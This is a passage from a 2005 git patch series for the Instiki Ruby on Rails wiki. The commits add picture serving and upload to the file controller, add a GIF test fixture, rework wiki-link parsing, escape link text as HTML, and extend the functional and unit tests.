Instiki::ValidationError.new("Invalid path: no web name") unless @web_name - raise Instiki::ValidationError.new("Invalid path: unknown web name") unless @web + check_path - file_yard = @wiki.file_yard(@web) if @params['file'] # form supplied file_yard.upload(@file_name, @params['file']) @@ -29,4 +26,25 @@ class FileController < ApplicationController return_to_last_remembered end + def pic + check_path + if file_yard.has_file?(@file_name) + send_file(file_yard.file_path(@file_name)) + else + render_text "Image not found: #{@file_name}", '404 Not Found' + end + end + + private + + def check_path + raise Instiki::ValidationError.new("Invalid path: no file name") unless @file_name + raise Instiki::ValidationError.new("Invalid path: no web name") unless @web_name + raise Instiki::ValidationError.new("Invalid path: unknown web name") unless @web + end + + def file_yard + @wiki.file_yard(@web) + end + end diff --git a/test/functional/file_controller_test.rb b/test/functional/file_controller_test.rb index 3448441c..b02d9fc0 100644 --- a/test/functional/file_controller_test.rb +++ b/test/functional/file_controller_test.rb @@ -29,7 +29,7 @@ class FileControllerTest < Test::Unit::TestCase end def test_file_download_text_file - File.open(FILE_AREA + '/foo.txt', 'wb') { |f| f.write "aaa\nbbb\n" } + File.open("#{FILE_AREA}/foo.txt", 'wb') { |f| f.write "aaa\nbbb\n" } r = process 'file', 'web' => 'wiki1', 'id' => 'foo.txt' @@ -39,7 +39,7 @@ class FileControllerTest < Test::Unit::TestCase end def test_file_download_pdf_file - File.open(FILE_AREA + '/foo.pdf', 'wb') { |f| f.write "aaa\nbbb\n" } + File.open("#{FILE_AREA}/foo.pdf", 'wb') { |f| f.write "aaa\nbbb\n" } r = process 'file', 'web' => 'wiki1', 'id' => 'foo.pdf' @@ -48,4 +48,13 @@ class FileControllerTest < Test::Unit::TestCase assert_equal 'application/pdf', r.headers['Content-Type'] end + def test_pic_download_gif + FileUtils.cp("#{RAILS_ROOT}/test/fixtures/rails.gif", FILE_AREA) + + r = process 'pic', 'web' => 'wiki1', 'id' => 'rails.gif' + + assert_success + assert_equal File.size("#{FILE_AREA}/rails.gif"), r.binary_content.size + end + end From 301464c4e4e06c98f55957c99b52aa4ed81697ae Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 23 Jan 2005 04:06:17 +0000 Subject: [PATCH 095/529] new file (should have been included in the last commit) --- test/fixtures/rails.gif | Bin 0 -> 8533 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 test/fixtures/rails.gif diff --git a/test/fixtures/rails.gif b/test/fixtures/rails.gif new file mode 100644 index 0000000000000000000000000000000000000000..58960ee4f9b9e619ab880c2a9dc2685ada0a9253 GIT binary patch literal 8533 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 literal 0 HcmV?d00001 From 8263e4bfcdc60538d083363cb3922995e6a0c153 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 23 Jan 2005 05:19:39 +0000 Subject: [PATCH 096/529] [RESTORES BUILD] Wiki link (in double square brackets) has precedence over autolinking URLs; contents of wiki links are not passed to markup engines; got rid of bracketing mask method in the chunks parser (it was a feature that caused a lot of parsing grief for no good reason) --- app/models/chunks/chunk.rb | 16 ---------------- app/models/chunks/wiki.rb | 29 ++++++++++++++++++----------- app/models/web.rb | 2 +- app/models/wiki_content.rb | 3 +-- test/unit/revision_test.rb | 17 +++++++++++------ test/unit/web_test.rb | 2 +- 6 files changed, 32 insertions(+), 37 deletions(-) diff --git a/app/models/chunks/chunk.rb b/app/models/chunks/chunk.rb index efd7ecfe..82d0d7fa 100755 --- a/app/models/chunks/chunk.rb +++ b/app/models/chunks/chunk.rb @@ -24,22 +24,6 @@ module Chunk end end - def pre_mask - "chunk#{self.object_id}#{self.class.to_s.delete(':').downcase}start" - end - - def post_mask - "chunk#{self.object_id}end" - end - - def bracketing_mask(content) - "#{pre_mask} #{content} #{post_mask}" - end - - def bracketing_mask_regexp - Regexp.new("#{pre_mask} (.*)[ \n]#{post_mask}") - end - def mask(content) "chunk#{self.object_id}#{self.class.to_s.delete(':').downcase}chunk" end diff --git a/app/models/chunks/wiki.rb b/app/models/chunks/wiki.rb index 673deaa4..c69f160f 100755 --- a/app/models/chunks/wiki.rb +++ b/app/models/chunks/wiki.rb @@ -38,23 +38,28 @@ module WikiChunk # By default, no escaped text def escaped_text() nil end - # FIXME: do not use the bracketing mask - URI chunk thinks that 'index.jpg' - # contains URL http://index.jp - # Replace link with a mask, but if the word is escaped, then don't replace it - def mask(content) escaped_text || bracketing_mask(link_text) end + def mask(content) + escaped_text || super(content) + end - def regexp() bracketing_mask_regexp end - - def revert(content) content.sub!(regexp, text) end + def revert(content) content.sub!(mask(content), text) end # Do not keep this chunk if it is escaped. # Otherwise, pass the link procedure a page_name and link_text and # get back a string of HTML to replace the mask with. def unmask(content) - return nil if escaped_text - return self if content.sub!(regexp) do |match| - content.page_link(page_name, $1, link_type) + if escaped_text + return self + else + chunk_found = content.sub!(mask(content)) do |match| + content.page_link(page_name, link_text, link_type) + end + if chunk_found + return self + else + return nil + end end end @@ -78,7 +83,9 @@ module WikiChunk @textile_link_suffix, @escape, @page_name = match_data[1..3] end - def escaped_text() (@escape.nil? ? nil : page_name) end + def escaped_text + page_name unless @escape.nil? + end def link_text() WikiWords.separate(page_name) end end diff --git a/app/models/web.rb b/app/models/web.rb index a009afb2..41de594d 100755 --- a/app/models/web.rb +++ b/app/models/web.rb @@ -46,7 +46,7 @@ class Web # on the render mode in options and whether the page exists # in the this web. def make_link(name, text = nil, options = {}) - text = text || WikiWords.separate(name) + text = CGI.escapeHTML(text || WikiWords.separate(name)) mode = options[:mode] link_type = options[:link_type] || 'show' case link_type diff --git a/app/models/wiki_content.rb b/app/models/wiki_content.rb index b596b2ff..868d057e 100755 --- a/app/models/wiki_content.rb +++ b/app/models/wiki_content.rb @@ -39,7 +39,7 @@ require 'chunks/nowiki' # UPDATED: 22nd May 2004 class WikiContent < String - PRE_ENGINE_ACTIONS = [ NoWiki, Category, Include, URIChunk, LocalURIChunk, WikiChunk::Link, + PRE_ENGINE_ACTIONS = [ NoWiki, Category, Include, WikiChunk::Link, URIChunk, LocalURIChunk, WikiChunk::Word ] POST_ENGINE_ACTIONS = [ Literal::Pre, Literal::Tags ] DEFAULT_OPTS = { @@ -90,7 +90,6 @@ class WikiContent < String def render!(chunk_types) @chunks = [] chunk_types.each { |chunk_type| chunk_type.apply_to(self) } - @rendered = @chunks.map { |chunk| chunk.unmask(self) }.compact (@chunks - @rendered).each { |chunk| chunk.revert(self) } end diff --git a/test/unit/revision_test.rb b/test/unit/revision_test.rb index 2bb60c94..68798135 100755 --- a/test/unit/revision_test.rb +++ b/test/unit/revision_test.rb @@ -16,7 +16,7 @@ class RevisionTest < Test::Unit::TestCase end @revision = Revision.new(@page, 1, - 'HisWay would be MyWay in kinda ThatWay in HisWay though MyWay \\OverThere -- ' + + 'HisWay would be MyWay in kinda ThatWay in HisWay though MyWay \OverThere -- ' + 'see SmartEngine in that SmartEngineGUI', Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson') end @@ -40,7 +40,7 @@ class RevisionTest < Test::Unit::TestCase 'His Way? ' + 'though My Way OverThere—see ' + 'Smart Engine in that ' + - 'Smart Engine GUI' + + 'Smart Engine GUI' + '?

    ', @revision.display_content end @@ -108,6 +108,11 @@ class RevisionTest < Test::Unit::TestCase 'That is some Stylish Emphasis') end + def test_content_with_escaped_wikiword + # there should be no wiki link + assert_markup_parsed_as('

    WikiWord

    ', '\WikiWord') + end + def test_content_with_pre_blocks assert_markup_parsed_as( 'A class SmartEngine end would not mark up
    CodeBlocks
    ', @@ -155,7 +160,7 @@ class RevisionTest < Test::Unit::TestCase 'His Way though ' + 'My Way OverThere—see ' + 'Smart Engine in that ' + - 'Smart Engine GUI

    ', + 'Smart Engine GUI

    ', @revision.display_content_for_export end @@ -179,8 +184,8 @@ class RevisionTest < Test::Unit::TestCase def test_difficult_wiki_words @revision.content = "[[It's just awesome GUI!]]" - assert_equal "

    It’s just awesome GUI" + - "!?

    ", + assert_equal "

    It's just awesome GUI!" + + "?

    ", @revision.display_content end @@ -205,7 +210,7 @@ class RevisionTest < Test::Unit::TestCase end def test_link_to_pic - assert_markup_parsed_as( + assert_markup_parsed_as( '

    Square

    ', '[[square.jpg|Square:pic]]') assert_markup_parsed_as( diff --git a/test/unit/web_test.rb b/test/unit/web_test.rb index b58afa3c..9dc906ec 100755 --- a/test/unit/web_test.rb +++ b/test/unit/web_test.rb @@ -84,7 +84,7 @@ class WebTest < Test::Unit::TestCase # Escaping special characters in the name assert_equal( - 'Smith & Wesson?', + 'Smith & Wesson?', @web.make_link('Smith & Wesson')) # optionally using text as the link text From 44eea439400a96e7f5f7fdbe9ead67565416528a Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 23 Jan 2005 13:42:56 +0000 Subject: [PATCH 097/529] uploading pics when not found in the file yard (same as for files) --- app/controllers/application.rb | 2 +- app/controllers/file_controller.rb | 12 +++++++++--- app/models/web.rb | 8 ++++++-- test/functional/file_controller_test.rb | 7 +++++++ test/unit/revision_test.rb | 13 +++++++++++++ 5 files changed, 36 insertions(+), 6 deletions(-) diff --git a/app/controllers/application.rb b/app/controllers/application.rb index bc303e96..42c1abe2 100644 --- a/app/controllers/application.rb +++ b/app/controllers/application.rb @@ -71,7 +71,7 @@ class ApplicationController < ActionController::Base not @web_name.nil? end - @@REMEMBER_NOT = ['locked', 'save', 'back', 'file'] + @@REMEMBER_NOT = ['locked', 'save', 'back', 'file', 'pic'] def remember_location if @response.headers['Status'] == '200 OK' unless @@REMEMBER_NOT.include? action_name or @request.method != :get diff --git a/app/controllers/file_controller.rb b/app/controllers/file_controller.rb index e357830f..349bb287 100644 --- a/app/controllers/file_controller.rb +++ b/app/controllers/file_controller.rb @@ -11,7 +11,7 @@ class FileController < ApplicationController if @params['file'] # form supplied - file_yard.upload(@file_name, @params['file']) + file_yard.upload_file(@file_name, @params['file']) flash[:info] = "File '#{@file_name}' successfully uploaded" return_to_last_remembered elsif file_yard.has_file?(@file_name) @@ -28,10 +28,16 @@ class FileController < ApplicationController def pic check_path - if file_yard.has_file?(@file_name) + if @params['file'] + # form supplied + file_yard.upload_file(@file_name, @params['file']) + flash[:info] = "Image '#{@file_name}' successfully uploaded" + return_to_last_remembered + elsif file_yard.has_file?(@file_name) send_file(file_yard.file_path(@file_name)) else - render_text "Image not found: #{@file_name}", '404 Not Found' + logger.debug("Image not found: #{file_yard.files_path}/#{@file_name}") + render_action 'file' end end diff --git a/app/models/web.rb b/app/models/web.rb index 41de594d..f3115017 100755 --- a/app/models/web.rb +++ b/app/models/web.rb @@ -103,8 +103,12 @@ class Web when :export if has_file?(name) then "\"#{text}\"" else "\"#{text}\"" end - else - "\"#{text}\"" + when :publish + if has_file?(name) then "\"#{text}\"" + else "#{text}" end + else + if has_file?(name) then "\"#{text}\"" + else "#{text}?" end end end diff --git a/test/functional/file_controller_test.rb b/test/functional/file_controller_test.rb index b02d9fc0..6abb4b52 100644 --- a/test/functional/file_controller_test.rb +++ b/test/functional/file_controller_test.rb @@ -56,5 +56,12 @@ class FileControllerTest < Test::Unit::TestCase assert_success assert_equal File.size("#{FILE_AREA}/rails.gif"), r.binary_content.size end + + def test_pic_unknown_pic + r = process 'pic', 'web' => 'wiki1', 'id' => 'non-existant.gif' + + assert_success + assert_rendered_file 'file/file' + end end diff --git a/test/unit/revision_test.rb b/test/unit/revision_test.rb index 68798135..db2a3302 100755 --- a/test/unit/revision_test.rb +++ b/test/unit/revision_test.rb @@ -3,6 +3,7 @@ require File.dirname(__FILE__) + '/../test_helper' require 'web' require 'revision' +require 'fileutils' class RevisionTest < Test::Unit::TestCase @@ -210,6 +211,7 @@ class RevisionTest < Test::Unit::TestCase end def test_link_to_pic + @wiki.file_yard(@web).upload_file('square.jpg', StringIO.new('')) assert_markup_parsed_as( '

    Square

    ', '[[square.jpg|Square:pic]]') @@ -218,6 +220,17 @@ class RevisionTest < Test::Unit::TestCase '[[square.jpg:pic]]') end + def test_link_to_non_existant_pic + assert_markup_parsed_as( + '

    NonExistant?' + + '

    ', + '[[NonExistant.jpg|NonExistant:pic]]') + assert_markup_parsed_as( + '

    NonExistant.jpg?' + + '

    ', + '[[NonExistant.jpg:pic]]') + end + # TODO Remove the leading underscores from this test when upgrading to RedCloth 3.0.1; # also add a test for the "Unhappy Face" problem (another interesting RedCloth bug) def __test_list_with_tildas From 14c114529a0c3ee52eb394d2dfe0bf5400aebf25 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 23 Jan 2005 14:32:10 +0000 Subject: [PATCH 098/529] added test for upload --- test/functional/file_controller_test.rb | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/test/functional/file_controller_test.rb b/test/functional/file_controller_test.rb index 6abb4b52..6556e464 100644 --- a/test/functional/file_controller_test.rb +++ b/test/functional/file_controller_test.rb @@ -11,6 +11,7 @@ class FileControllerTest < Test::Unit::TestCase FILE_AREA = RAILS_ROOT + '/storage/test/wiki1' FileUtils.mkdir_p(FILE_AREA) unless File.directory?(FILE_AREA) + FileUtils.rm(Dir["#{FILE_AREA}/*"]) def setup setup_test_wiki @@ -64,4 +65,18 @@ class FileControllerTest < Test::Unit::TestCase assert_rendered_file 'file/file' end + def test_pic_upload_end_to_end + # rails-e2e.gif is unknown to the system + r = process 'pic', 'web' => 'wiki1', 'id' => 'rails-e2e.gif' + assert_success + assert_rendered_file 'file/file' + + # User uploads the picture + picture = File.read("#{RAILS_ROOT}/test/fixtures/rails.gif") + r = process 'pic', 'web' => 'wiki1', 'id' => 'rails-e2e.gif', 'file' => StringIO.new(picture) + assert_redirect_url '/' + assert @wiki.file_yard(@web).has_file?('rails-e2e.gif') + assert_equal(picture, File.read("#{RAILS_ROOT}/storage/test/wiki1/rails-e2e.gif")) + end + end From a7bb0474242c84a127999faf7139aecd16bb0468 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 23 Jan 2005 14:54:41 +0000 Subject: [PATCH 099/529] FileController refreshes references to files/pictures after an upload --- app/controllers/file_controller.rb | 2 ++ test/functional/file_controller_test.rb | 37 ++++++++++++++++++++++++- 2 files changed, 38 insertions(+), 1 deletion(-) diff --git a/app/controllers/file_controller.rb b/app/controllers/file_controller.rb index 349bb287..bae7b33b 100644 --- a/app/controllers/file_controller.rb +++ b/app/controllers/file_controller.rb @@ -13,6 +13,7 @@ class FileController < ApplicationController # form supplied file_yard.upload_file(@file_name, @params['file']) flash[:info] = "File '#{@file_name}' successfully uploaded" + @web.refresh_pages_with_references(@file_name) return_to_last_remembered elsif file_yard.has_file?(@file_name) send_file(file_yard.file_path(@file_name)) @@ -32,6 +33,7 @@ class FileController < ApplicationController # form supplied file_yard.upload_file(@file_name, @params['file']) flash[:info] = "Image '#{@file_name}' successfully uploaded" + @web.refresh_pages_with_references(@file_name) return_to_last_remembered elsif file_yard.has_file?(@file_name) send_file(file_yard.file_path(@file_name)) diff --git a/test/functional/file_controller_test.rb b/test/functional/file_controller_test.rb index 6556e464..cc60caa2 100644 --- a/test/functional/file_controller_test.rb +++ b/test/functional/file_controller_test.rb @@ -66,7 +66,13 @@ class FileControllerTest < Test::Unit::TestCase end def test_pic_upload_end_to_end - # rails-e2e.gif is unknown to the system + # edit and re-render home page so that it has an "unknown file" link to 'rails-e2e.gif' + @wiki.revise_page('wiki1', 'HomePage', '[[rails-e2e.gif:pic]]', Time.now, 'AnonymousBrave') + assert_equal "

    rails-e2e.gif" + + "?

    ", + @home.display_content + + # rails-e2e.gif is unknown to the system, so pic action goes to the file [upload] form r = process 'pic', 'web' => 'wiki1', 'id' => 'rails-e2e.gif' assert_success assert_rendered_file 'file/file' @@ -77,6 +83,35 @@ class FileControllerTest < Test::Unit::TestCase assert_redirect_url '/' assert @wiki.file_yard(@web).has_file?('rails-e2e.gif') assert_equal(picture, File.read("#{RAILS_ROOT}/storage/test/wiki1/rails-e2e.gif")) + + # this should refresh the page display content (cached) + assert_equal "

    \"rails-e2e.gif\"

    ", + @home.display_content + end + + def test_pic_upload_end_to_end + # edit and re-render home page so that it has an "unknown file" link to 'rails-e2e.gif' + @wiki.revise_page('wiki1', 'HomePage', '[[instiki-e2e.txt:file]]', Time.now, 'AnonymousBrave') + assert_equal "

    instiki-e2e.txt" + + "?

    ", + @home.display_content + + # rails-e2e.gif is unknown to the system, so pic action goes to the file [upload] form + r = process 'file', 'web' => 'wiki1', 'id' => 'instiki-e2e.txt' + assert_success + assert_rendered_file 'file/file' + + # User uploads the picture + file = "abcdefgh\n123" + r = process 'file', 'web' => 'wiki1', 'id' => 'instiki-e2e.txt', 'file' => StringIO.new(file) + assert_redirect_url '/' + assert @wiki.file_yard(@web).has_file?('instiki-e2e.txt') + assert_equal(file, File.read("#{RAILS_ROOT}/storage/test/wiki1/instiki-e2e.txt")) + + # this should refresh the page display content (cached) + assert_equal "

    " + + "instiki-e2e.txt

